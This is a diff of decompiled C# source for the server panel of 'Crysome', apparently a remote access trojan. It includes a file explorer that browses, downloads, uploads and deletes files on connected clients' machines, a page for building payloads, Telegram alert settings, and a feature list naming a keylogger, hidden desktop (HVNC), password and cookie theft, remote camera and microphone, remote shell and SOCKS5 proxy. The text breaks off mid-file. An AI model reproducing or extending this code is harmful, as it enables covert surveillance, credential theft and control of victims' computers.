[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/whatsappsessionwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
SubtitleText = (TextBlock)target;
|
||||
break;
|
||||
case 2:
|
||||
ClientLabel = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
SizeLabel = (TextBlock)target;
|
||||
break;
|
||||
case 4:
|
||||
PathLabel = (TextBlock)target;
|
||||
break;
|
||||
case 5:
|
||||
OpenFolderBtn = (Button)target;
|
||||
OpenFolderBtn.Click += OpenFolderBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
((Button)target).Click += CloseBtn_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public class ContextMenuFeatureItem : ViewModelBase
|
||||
{
|
||||
private bool _isEnabled;
|
||||
|
||||
public string Key { get; }
|
||||
|
||||
public string DisplayName { get; }
|
||||
|
||||
public bool IsEnabled
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isEnabled;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isEnabled = value;
|
||||
OnPropertyChanged("IsEnabled");
|
||||
}
|
||||
}
|
||||
|
||||
public ContextMenuFeatureItem(string key, string displayName, bool isEnabled)
|
||||
{
|
||||
Key = key;
|
||||
DisplayName = displayName;
|
||||
_isEnabled = isEnabled;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,560 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Model;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.Network;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public class FileExplorerViewModel : ViewModelBase, IDisposable
|
||||
{
|
||||
private bool _downloadProgressVisible;
|
||||
|
||||
private string _downloadStatusText;
|
||||
|
||||
private double _downloadProgress;
|
||||
|
||||
private string _pendingDownloadSavePath;
|
||||
|
||||
private Stopwatch _downloadStopwatch;
|
||||
|
||||
private readonly MainViewModel _mainVm;
|
||||
|
||||
private bool _disposed;
|
||||
|
||||
private string[] _drives;
|
||||
|
||||
private FileSystemEntry _currentDirectory;
|
||||
|
||||
private FileSystemEntry _selectedFile;
|
||||
|
||||
private string _sortMode = "Name";
|
||||
|
||||
public bool DownloadProgressVisible
|
||||
{
|
||||
get
|
||||
{
|
||||
return _downloadProgressVisible;
|
||||
}
|
||||
set
|
||||
{
|
||||
_downloadProgressVisible = value;
|
||||
OnPropertyChanged(() => DownloadProgressVisible);
|
||||
}
|
||||
}
|
||||
|
||||
public string DownloadStatusText
|
||||
{
|
||||
get
|
||||
{
|
||||
return _downloadStatusText;
|
||||
}
|
||||
set
|
||||
{
|
||||
_downloadStatusText = value;
|
||||
OnPropertyChanged(() => DownloadStatusText);
|
||||
}
|
||||
}
|
||||
|
||||
public double DownloadProgress
|
||||
{
|
||||
get
|
||||
{
|
||||
return _downloadProgress;
|
||||
}
|
||||
set
|
||||
{
|
||||
_downloadProgress = value;
|
||||
OnPropertyChanged(() => DownloadProgress);
|
||||
}
|
||||
}
|
||||
|
||||
public ObservableCollection<FileSystemEntry> Files { get; set; }
|
||||
|
||||
public ICollectionView FilesView { get; private set; }
|
||||
|
||||
public Stack<FileSystemEntry> BackHistory { get; set; }
|
||||
|
||||
public Stack<FileSystemEntry> ForwardHistory { get; set; }
|
||||
|
||||
public bool CanGoBackward => BackHistory.Count > 0;
|
||||
|
||||
public bool CanGoForward => ForwardHistory.Count > 0;
|
||||
|
||||
public string[] Drives
|
||||
{
|
||||
get
|
||||
{
|
||||
return _drives;
|
||||
}
|
||||
set
|
||||
{
|
||||
_drives = value;
|
||||
OnPropertyChanged(() => Drives);
|
||||
}
|
||||
}
|
||||
|
||||
public FileSystemEntry CurrentDirectory
|
||||
{
|
||||
get
|
||||
{
|
||||
return _currentDirectory;
|
||||
}
|
||||
set
|
||||
{
|
||||
_currentDirectory = value;
|
||||
OnPropertyChanged(() => CurrentDirectory);
|
||||
}
|
||||
}
|
||||
|
||||
public FileSystemEntry SelectedFile
|
||||
{
|
||||
get
|
||||
{
|
||||
return _selectedFile;
|
||||
}
|
||||
set
|
||||
{
|
||||
_selectedFile = value;
|
||||
OnPropertyChanged(() => _selectedFile);
|
||||
}
|
||||
}
|
||||
|
||||
public string SortMode
|
||||
{
|
||||
get
|
||||
{
|
||||
return _sortMode;
|
||||
}
|
||||
set
|
||||
{
|
||||
_sortMode = value ?? "Name";
|
||||
OnPropertyChanged(() => SortMode);
|
||||
ApplySort();
|
||||
}
|
||||
}
|
||||
|
||||
public string[] SortOptions { get; } = new string[4] { "Name", "DateModified", "Size", "Type" };
|
||||
|
||||
public ICommand NavigateCommand { get; set; }
|
||||
|
||||
public ICommand NavigateSelectedCommand { get; set; }
|
||||
|
||||
public ICommand OpenCommand { get; set; }
|
||||
|
||||
public ICommand SaveAsCommand { get; set; }
|
||||
|
||||
public ICommand UploadCommand { get; set; }
|
||||
|
||||
public ICommand PropertiesCommand { get; set; }
|
||||
|
||||
public ICommand NavigateUpCommand { get; set; }
|
||||
|
||||
public ICommand NavigateForwardCommand { get; set; }
|
||||
|
||||
public ICommand NavigateBackCommand { get; set; }
|
||||
|
||||
public ICommand DeleteFileCommand { get; set; }
|
||||
|
||||
public ClientInfo Client { get; set; }
|
||||
|
||||
public ICommand GoBackToClientsCommand { get; set; }
|
||||
|
||||
public FileExplorerViewModel(CrysomeServer server, ClientInfo client, MainViewModel mainVm)
|
||||
{
|
||||
//IL_00ff: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0109: Expected O, but got Unknown
|
||||
//IL_0143: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0148: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0154: Expected O, but got Unknown
|
||||
FileExplorerViewModel fileExplorerViewModel = this;
|
||||
_mainVm = mainVm;
|
||||
Files = new ObservableCollection<FileSystemEntry>();
|
||||
FilesView = CollectionViewSource.GetDefaultView(Files);
|
||||
ApplySort();
|
||||
BackHistory = new Stack<FileSystemEntry>();
|
||||
ForwardHistory = new Stack<FileSystemEntry>();
|
||||
Client = client;
|
||||
_mainVm.ClientsVM.RegisterActiveFileExplorer(client.Owner, this);
|
||||
if (server.ClientCount > 0)
|
||||
{
|
||||
long num = _mainVm.ClientsVM.NextExplorerOpId();
|
||||
_mainVm.ClientsVM.RegisterGetDirectoryCallback(client.Owner, num, delegate(GetDirectoryResponsePacket p)
|
||||
{
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
fileExplorerViewModel.ApplyGetDirectoryResponse(p);
|
||||
});
|
||||
});
|
||||
client.Owner.SendPacket((IPacket)new GetDirectoryRequestPacket(string.Empty, num));
|
||||
long requestId = _mainVm.ClientsVM.NextExplorerOpId();
|
||||
_mainVm.ClientsVM.RegisterGetDrivesCallback(client.Owner, requestId, delegate(GetDrivesResponsePacket p)
|
||||
{
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
fileExplorerViewModel.ApplyGetDrivesResponse(p);
|
||||
});
|
||||
});
|
||||
client.Owner.SendPacket((IPacket)new GetDrivesRequestPacket
|
||||
{
|
||||
RequestId = requestId
|
||||
});
|
||||
}
|
||||
NavigateCommand = new RelayCommand<string>(NavigateWithHistory);
|
||||
NavigateSelectedCommand = new RelayCommand<string>(NavigateSelected);
|
||||
OpenCommand = new RelayCommand<string>(OpenSelected);
|
||||
SaveAsCommand = new RelayCommand<string>(SaveAsSelected);
|
||||
UploadCommand = new RelayCommand<string>(delegate
|
||||
{
|
||||
fileExplorerViewModel.UploadFile();
|
||||
});
|
||||
PropertiesCommand = new RelayCommand<string>(ShowProperties);
|
||||
NavigateUpCommand = new RelayCommand<string>(NavigateUp);
|
||||
NavigateForwardCommand = new RelayCommand<string>(NavigateForward);
|
||||
NavigateBackCommand = new RelayCommand<string>(NavigateBack);
|
||||
DeleteFileCommand = new RelayCommand<string>(DeleteFile);
|
||||
GoBackToClientsCommand = new RelayCommand<string>(delegate
|
||||
{
|
||||
mainVm.GoToClients();
|
||||
});
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (!_disposed)
|
||||
{
|
||||
_disposed = true;
|
||||
if (Client?.Owner != null)
|
||||
{
|
||||
_mainVm.ClientsVM.UnregisterActiveFileExplorer(Client.Owner, this);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ApplySort()
|
||||
{
|
||||
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0083: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00bb: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (FilesView == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
using (FilesView.DeferRefresh())
|
||||
{
|
||||
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Clear();
|
||||
switch (SortMode)
|
||||
{
|
||||
case "DateModified":
|
||||
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("LastWriteUtcTicks", ListSortDirection.Descending));
|
||||
break;
|
||||
case "Size":
|
||||
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Size", ListSortDirection.Descending));
|
||||
break;
|
||||
case "Type":
|
||||
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Type", ListSortDirection.Ascending));
|
||||
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Name", ListSortDirection.Ascending));
|
||||
break;
|
||||
default:
|
||||
((Collection<SortDescription>)(object)FilesView.SortDescriptions).Add(new SortDescription("Name", ListSortDirection.Ascending));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void ApplyGetDirectoryResponse(GetDirectoryResponsePacket directoryResponse)
|
||||
{
|
||||
//IL_001e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0028: Expected O, but got Unknown
|
||||
//IL_0109: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0113: Expected O, but got Unknown
|
||||
//IL_01a6: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_01b0: Expected O, but got Unknown
|
||||
Files.Clear();
|
||||
CurrentDirectory = new FileSystemEntry(directoryResponse.Name, directoryResponse.Path, 0L, (FileType)0, 0L, (byte[])null);
|
||||
OnPropertyChanged(() => CanGoBackward);
|
||||
OnPropertyChanged(() => CanGoForward);
|
||||
string[] folders = directoryResponse.Folders;
|
||||
int num = ((folders != null) ? folders.Length : 0);
|
||||
long[] folderLastWriteUtcTicks = directoryResponse.FolderLastWriteUtcTicks;
|
||||
byte[][] folderIconPng = directoryResponse.FolderIconPng;
|
||||
for (int num2 = 0; num2 < num; num2++)
|
||||
{
|
||||
long num3 = ((folderLastWriteUtcTicks != null && num2 < folderLastWriteUtcTicks.Length) ? folderLastWriteUtcTicks[num2] : 0);
|
||||
byte[] array = ((folderIconPng != null && num2 < folderIconPng.Length) ? folderIconPng[num2] : null);
|
||||
Files.Add(new FileSystemEntry(directoryResponse.Folders[num2], Path.Combine(CurrentDirectory.Path, directoryResponse.Folders[num2]), 0L, (FileType)0, num3, array));
|
||||
}
|
||||
string[] files = directoryResponse.Files;
|
||||
int num4 = ((files != null) ? files.Length : 0);
|
||||
long[] fileLastWriteUtcTicks = directoryResponse.FileLastWriteUtcTicks;
|
||||
byte[][] fileIconPng = directoryResponse.FileIconPng;
|
||||
for (int num5 = 0; num5 < num4; num5++)
|
||||
{
|
||||
long num6 = ((fileLastWriteUtcTicks != null && num5 < fileLastWriteUtcTicks.Length) ? fileLastWriteUtcTicks[num5] : 0);
|
||||
byte[] array2 = ((fileIconPng != null && num5 < fileIconPng.Length) ? fileIconPng[num5] : null);
|
||||
Files.Add(new FileSystemEntry(directoryResponse.Files[num5], Path.Combine(CurrentDirectory.Path, directoryResponse.Files[num5]), directoryResponse.FileSizes[num5], (FileType)1, num6, array2));
|
||||
}
|
||||
ApplySort();
|
||||
}
|
||||
|
||||
public void ApplyGetDrivesResponse(GetDrivesResponsePacket getDrivesPacket)
|
||||
{
|
||||
Drives = getDrivesPacket.Drives;
|
||||
}
|
||||
|
||||
public void ApplyNotifyStatus(NotifyStatusResponsePacket statusPacket)
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus(statusPacket.StatusMessage);
|
||||
}
|
||||
|
||||
private void Navigate(string path)
|
||||
{
|
||||
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0050: Expected O, but got Unknown
|
||||
long num = _mainVm.ClientsVM.NextExplorerOpId();
|
||||
_mainVm.ClientsVM.RegisterGetDirectoryCallback(Client.Owner, num, delegate(GetDirectoryResponsePacket p)
|
||||
{
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
ApplyGetDirectoryResponse(p);
|
||||
});
|
||||
});
|
||||
Client.Owner.SendPacket((IPacket)new GetDirectoryRequestPacket(path, num));
|
||||
}
|
||||
|
||||
private void NavigateWithHistory(string path)
|
||||
{
|
||||
if (CurrentDirectory != null && path != CurrentDirectory.Path)
|
||||
{
|
||||
BackHistory.Push(CurrentDirectory);
|
||||
}
|
||||
Navigate(path);
|
||||
}
|
||||
|
||||
private void NavigateSelected(string s)
|
||||
{
|
||||
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (SelectedFile != null && (int)SelectedFile.Type == 0)
|
||||
{
|
||||
NavigateWithHistory(SelectedFile.Path);
|
||||
}
|
||||
}
|
||||
|
||||
private void NavigateUp(string s)
|
||||
{
|
||||
NavigateWithHistory(Path.Combine(CurrentDirectory.Path, ".."));
|
||||
}
|
||||
|
||||
private void NavigateForward(string s)
|
||||
{
|
||||
BackHistory.Push(CurrentDirectory);
|
||||
FileSystemEntry val = ForwardHistory.Pop();
|
||||
Navigate(val.Path);
|
||||
}
|
||||
|
||||
private void NavigateBack(string s)
|
||||
{
|
||||
ForwardHistory.Push(CurrentDirectory);
|
||||
FileSystemEntry val = BackHistory.Pop();
|
||||
Navigate(val.Path);
|
||||
}
|
||||
|
||||
private void DeleteFile(string s)
|
||||
{
|
||||
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0050: Expected O, but got Unknown
|
||||
if (SelectedFile != null)
|
||||
{
|
||||
FileSystemEntry selectedFile = SelectedFile;
|
||||
if (MessageBox.Show("Delete " + selectedFile.Name + "?", "Confirm", MessageBoxButton.YesNo, MessageBoxImage.Question) == MessageBoxResult.Yes)
|
||||
{
|
||||
Client.Owner.SendPacket((IPacket)new DeleteFileRequestPacket(selectedFile.Path));
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Delete sent for " + selectedFile.Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OpenSelected(string s)
|
||||
{
|
||||
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (SelectedFile != null && (int)SelectedFile.Type == 0)
|
||||
{
|
||||
NavigateWithHistory(SelectedFile.Path);
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveAsSelected(string s)
|
||||
{
|
||||
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0104: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_010e: Expected O, but got Unknown
|
||||
if (SelectedFile == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if ((int)SelectedFile.Type == 0)
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Select a file to download.");
|
||||
return;
|
||||
}
|
||||
SaveFileDialog saveFileDialog = new SaveFileDialog
|
||||
{
|
||||
FileName = SelectedFile.Name,
|
||||
Filter = "All files|*.*",
|
||||
DefaultExt = Path.GetExtension(SelectedFile.Name)
|
||||
};
|
||||
if (saveFileDialog.ShowDialog() != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string fileName = saveFileDialog.FileName;
|
||||
_pendingDownloadSavePath = fileName;
|
||||
DownloadProgressVisible = true;
|
||||
DownloadProgress = 0.0;
|
||||
DownloadStatusText = "Downloading...";
|
||||
_downloadStopwatch = Stopwatch.StartNew();
|
||||
long num = _mainVm.ClientsVM.NextExplorerOpId();
|
||||
_mainVm.ClientsVM.RegisterReadFileCallback(Client.Owner, num, delegate(ReadFileResponsePacket resp)
|
||||
{
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
CompleteDownloadSave(resp);
|
||||
});
|
||||
});
|
||||
Client.Owner.SendPacket((IPacket)new ReadFileRequestPacket(SelectedFile.Path, num));
|
||||
}
|
||||
|
||||
private void CompleteDownloadSave(ReadFileResponsePacket resp)
|
||||
{
|
||||
string pendingDownloadSavePath = _pendingDownloadSavePath;
|
||||
_pendingDownloadSavePath = null;
|
||||
try
|
||||
{
|
||||
if (resp.Success && resp.Data != null)
|
||||
{
|
||||
File.WriteAllBytes(pendingDownloadSavePath, resp.Data);
|
||||
TimeSpan timeSpan = _downloadStopwatch?.Elapsed ?? TimeSpan.Zero;
|
||||
_mainVm.ClientsVM?.EnqueueStatus($"Saved to {pendingDownloadSavePath} ({resp.Data.Length / 1024} KB in {timeSpan.TotalSeconds:F1}s)");
|
||||
}
|
||||
else
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Download failed: " + (((resp != null) ? resp.ErrorMessage : null) ?? "Unknown error"));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Save failed: " + ex.Message);
|
||||
}
|
||||
DownloadProgressVisible = false;
|
||||
DownloadStatusText = "";
|
||||
}
|
||||
|
||||
private void UploadFile()
|
||||
{
|
||||
//IL_0175: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_017a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0182: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_018a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0196: Expected O, but got Unknown
|
||||
if (CurrentDirectory == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog
|
||||
{
|
||||
Filter = "All files|*.*"
|
||||
};
|
||||
if (openFileDialog.ShowDialog() != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] array;
|
||||
try
|
||||
{
|
||||
array = File.ReadAllBytes(openFileDialog.FileName);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Upload read error: " + ex.Message);
|
||||
return;
|
||||
}
|
||||
long num = (long)_mainVm.ClientsVM.Store.Settings.MaxSendFileSizeMB * 1024L * 1024;
|
||||
if (num > 0 && array.Length > num)
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("File too large (limit " + _mainVm.ClientsVM.Store.Settings.MaxSendFileSizeMB + " MB)");
|
||||
return;
|
||||
}
|
||||
string name = Path.GetFileName(openFileDialog.FileName);
|
||||
string destPath = Path.Combine(CurrentDirectory.Path, name);
|
||||
long transferId = _mainVm.ClientsVM.NextExplorerOpId();
|
||||
DownloadProgressVisible = true;
|
||||
DownloadStatusText = "Uploading...";
|
||||
_mainVm.ClientsVM.RegisterWriteFileCallback(Client.Owner, transferId, delegate(WriteFileResponsePacket resp)
|
||||
{
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
DownloadProgressVisible = false;
|
||||
DownloadStatusText = "";
|
||||
if (resp.Success)
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Uploaded " + name);
|
||||
Navigate(CurrentDirectory.Path);
|
||||
}
|
||||
else
|
||||
{
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Upload failed: " + (resp.ErrorMessage ?? "?"));
|
||||
}
|
||||
});
|
||||
});
|
||||
Client.Owner.SendPacket((IPacket)new WriteFileRequestPacket
|
||||
{
|
||||
DestPath = destPath,
|
||||
TransferId = transferId,
|
||||
Data = array
|
||||
});
|
||||
}
|
||||
|
||||
private void ShowProperties(string s)
|
||||
{
|
||||
//IL_0011: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (SelectedFile != null)
|
||||
{
|
||||
FileSystemEntry selectedFile = SelectedFile;
|
||||
string value = (((int)selectedFile.Type == 0) ? "—" : FormatFileSize(selectedFile.Size));
|
||||
string value2 = ((selectedFile.LastWriteUtcTicks > 0) ? new DateTime(selectedFile.LastWriteUtcTicks, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm") : "—");
|
||||
MessageBox.Show($"Name: {selectedFile.Name}\nPath: {selectedFile.Path}\nType: {selectedFile.Type}\nSize: {value}\nModified: {value2}", "Properties", MessageBoxButton.OK, MessageBoxImage.Asterisk);
|
||||
}
|
||||
}
|
||||
|
||||
private static string FormatFileSize(long bytes)
|
||||
{
|
||||
if (bytes < 1024)
|
||||
{
|
||||
return bytes + " B";
|
||||
}
|
||||
if (bytes < 1048576)
|
||||
{
|
||||
return ((double)bytes / 1024.0).ToString("F1") + " KB";
|
||||
}
|
||||
if (bytes < 1073741824)
|
||||
{
|
||||
return ((double)bytes / 1048576.0).ToString("F1") + " MB";
|
||||
}
|
||||
return ((double)bytes / 1073741824.0).ToString("F1") + " GB";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.Network;
|
||||
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public class MainViewModel : ViewModelBase
|
||||
{
|
||||
private ViewModelBase _currentPageViewModel;
|
||||
|
||||
public ViewModelBase CurrentPageViewModel
|
||||
{
|
||||
get
|
||||
{
|
||||
return _currentPageViewModel;
|
||||
}
|
||||
set
|
||||
{
|
||||
_currentPageViewModel = value;
|
||||
OnPropertyChanged("CurrentPageViewModel");
|
||||
}
|
||||
}
|
||||
|
||||
public ManageClientsViewModel ClientsVM { get; private set; }
|
||||
|
||||
public MainViewModel()
|
||||
{
|
||||
ClientsVM = new ManageClientsViewModel(this);
|
||||
CurrentPageViewModel = ClientsVM;
|
||||
}
|
||||
|
||||
public void GoToClients()
|
||||
{
|
||||
if (CurrentPageViewModel is FileExplorerViewModel fileExplorerViewModel)
|
||||
{
|
||||
fileExplorerViewModel.Dispose();
|
||||
}
|
||||
CurrentPageViewModel = ClientsVM;
|
||||
}
|
||||
|
||||
public void GoToBuilder()
|
||||
{
|
||||
CurrentPageViewModel = new BuilderViewModel(this);
|
||||
}
|
||||
|
||||
public void GoToFileExplorer(CrysomeServer server, ClientInfo client)
|
||||
{
|
||||
if (CurrentPageViewModel is FileExplorerViewModel fileExplorerViewModel)
|
||||
{
|
||||
fileExplorerViewModel.Dispose();
|
||||
}
|
||||
CurrentPageViewModel = new FileExplorerViewModel(server, client, this);
|
||||
}
|
||||
|
||||
public void GoToSettings()
|
||||
{
|
||||
CurrentPageViewModel = new SettingsViewModel(this, ClientsVM.Store);
|
||||
}
|
||||
|
||||
public void GoToPlugins()
|
||||
{
|
||||
CurrentPageViewModel = new PluginManagerViewModel(this, ClientsVM.Store);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Windows.Input;
|
||||
using Crysome.Server.Data;
|
||||
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public class PluginManagerViewModel : ViewModelBase
|
||||
{
|
||||
private readonly MainViewModel _mainVm;
|
||||
|
||||
private readonly AppDataStore _store;
|
||||
|
||||
public ICommand GoBackCommand { get; }
|
||||
|
||||
public ObservableCollection<ContextMenuFeatureItem> Features { get; } = new ObservableCollection<ContextMenuFeatureItem>();
|
||||
|
||||
public PluginManagerViewModel(MainViewModel mainVm, AppDataStore store)
|
||||
{
|
||||
_mainVm = mainVm;
|
||||
_store = store;
|
||||
GoBackCommand = new RelayCommand<object>(delegate
|
||||
{
|
||||
_mainVm.GoToClients();
|
||||
});
|
||||
(string, string)[] array = new(string, string)[25]
|
||||
{
|
||||
("SendCommand", "Send Command"),
|
||||
("SendCommandAll", "Send Command (All)"),
|
||||
("SendFile", "Send File"),
|
||||
("SendFileAll", "Send File (All)"),
|
||||
("DirectLink", "Direct Link"),
|
||||
("DirectLinkAll", "Direct Link (All)"),
|
||||
("Socks5Proxy", "SOCKS5 Proxy"),
|
||||
("TakeScreenshot", "Take Screenshot"),
|
||||
("FileManager", "File Manager"),
|
||||
("Restart", "Restart"),
|
||||
("CopySummary", "Copy Summary"),
|
||||
("BlockIP", "Block IP"),
|
||||
("PinToTop", "Pin to Top"),
|
||||
("Export", "Export"),
|
||||
("Mute30", "Mute 30min"),
|
||||
("Note", "Note"),
|
||||
("ProcessManager", "Process Manager"),
|
||||
("RemoteShell", "Remote Shell"),
|
||||
("RemoteAudio", "Remote Audio/Mic"),
|
||||
("RemoteCamera", "Remote Camera"),
|
||||
("RemoteDesktop", "Remote Desktop"),
|
||||
("HVNC", "HVNC (Hidden Desktop)"),
|
||||
("Credentials", "Credentials (Passwords/Cookies)"),
|
||||
("Keylogger", "Keylogger"),
|
||||
("RemoteChat", "Remote Chat")
|
||||
};
|
||||
for (int num = 0; num < array.Length; num++)
|
||||
{
|
||||
(string, string) tuple = array[num];
|
||||
string item = tuple.Item1;
|
||||
string item2 = tuple.Item2;
|
||||
ContextMenuFeatureItem contextMenuFeatureItem = new ContextMenuFeatureItem(item, item2, _store.IsContextMenuFeatureEnabled(item));
|
||||
contextMenuFeatureItem.PropertyChanged += delegate(object? s, PropertyChangedEventArgs e)
|
||||
{
|
||||
if (!(e.PropertyName != "IsEnabled"))
|
||||
{
|
||||
ContextMenuFeatureItem contextMenuFeatureItem2 = (ContextMenuFeatureItem)s;
|
||||
_store.ContextMenuFeatures[contextMenuFeatureItem2.Key] = contextMenuFeatureItem2.IsEnabled;
|
||||
_store.SaveContextMenuFeatures();
|
||||
_mainVm.ClientsVM?.NotifyContextMenuFeaturesChanged();
|
||||
}
|
||||
};
|
||||
Features.Add(contextMenuFeatureItem);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System;
|
||||
using System.Windows.Input;
|
||||
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public class RelayCommand<T> : ICommand
|
||||
{
|
||||
private readonly Action<T> _execute;
|
||||
|
||||
private readonly Predicate<T> _canExecute;
|
||||
|
||||
public event EventHandler CanExecuteChanged
|
||||
{
|
||||
add
|
||||
{
|
||||
CommandManager.RequerySuggested += value;
|
||||
}
|
||||
remove
|
||||
{
|
||||
CommandManager.RequerySuggested -= value;
|
||||
}
|
||||
}
|
||||
|
||||
public RelayCommand(Action<T> execute)
|
||||
: this(execute, (Predicate<T>)null)
|
||||
{
|
||||
}
|
||||
|
||||
public RelayCommand(Action<T> execute, Predicate<T> canExecute)
|
||||
{
|
||||
_execute = execute ?? throw new ArgumentNullException("execute");
|
||||
_canExecute = canExecute;
|
||||
}
|
||||
|
||||
public bool CanExecute(object parameter)
|
||||
{
|
||||
if (_canExecute != null)
|
||||
{
|
||||
return _canExecute((T)parameter);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public void Execute(object parameter)
|
||||
{
|
||||
_execute((T)parameter);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
using System;
|
||||
using System.Net.Http;
|
||||
using System.Windows;
|
||||
using System.Windows.Input;
|
||||
using Crysome.Server.Data;
|
||||
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public class SettingsViewModel : ViewModelBase
|
||||
{
|
||||
private readonly MainViewModel _mainVm;
|
||||
|
||||
private readonly AppDataStore _store;
|
||||
|
||||
private bool _telegramEnabled;
|
||||
|
||||
private string _telegramToken;
|
||||
|
||||
private string _telegramChatId;
|
||||
|
||||
public ICommand GoBackCommand { get; }
|
||||
|
||||
public ICommand SaveCommand { get; }
|
||||
|
||||
public string Port { get; set; }
|
||||
|
||||
public string QuicPort { get; set; }
|
||||
|
||||
public string InfoPollInterval { get; set; }
|
||||
|
||||
public string MaxEndpoints { get; set; }
|
||||
|
||||
public string MaxSendFileSizeMB { get; set; }
|
||||
|
||||
public bool NotifyConnect { get; set; }
|
||||
|
||||
public bool NotifyDisconnect { get; set; }
|
||||
|
||||
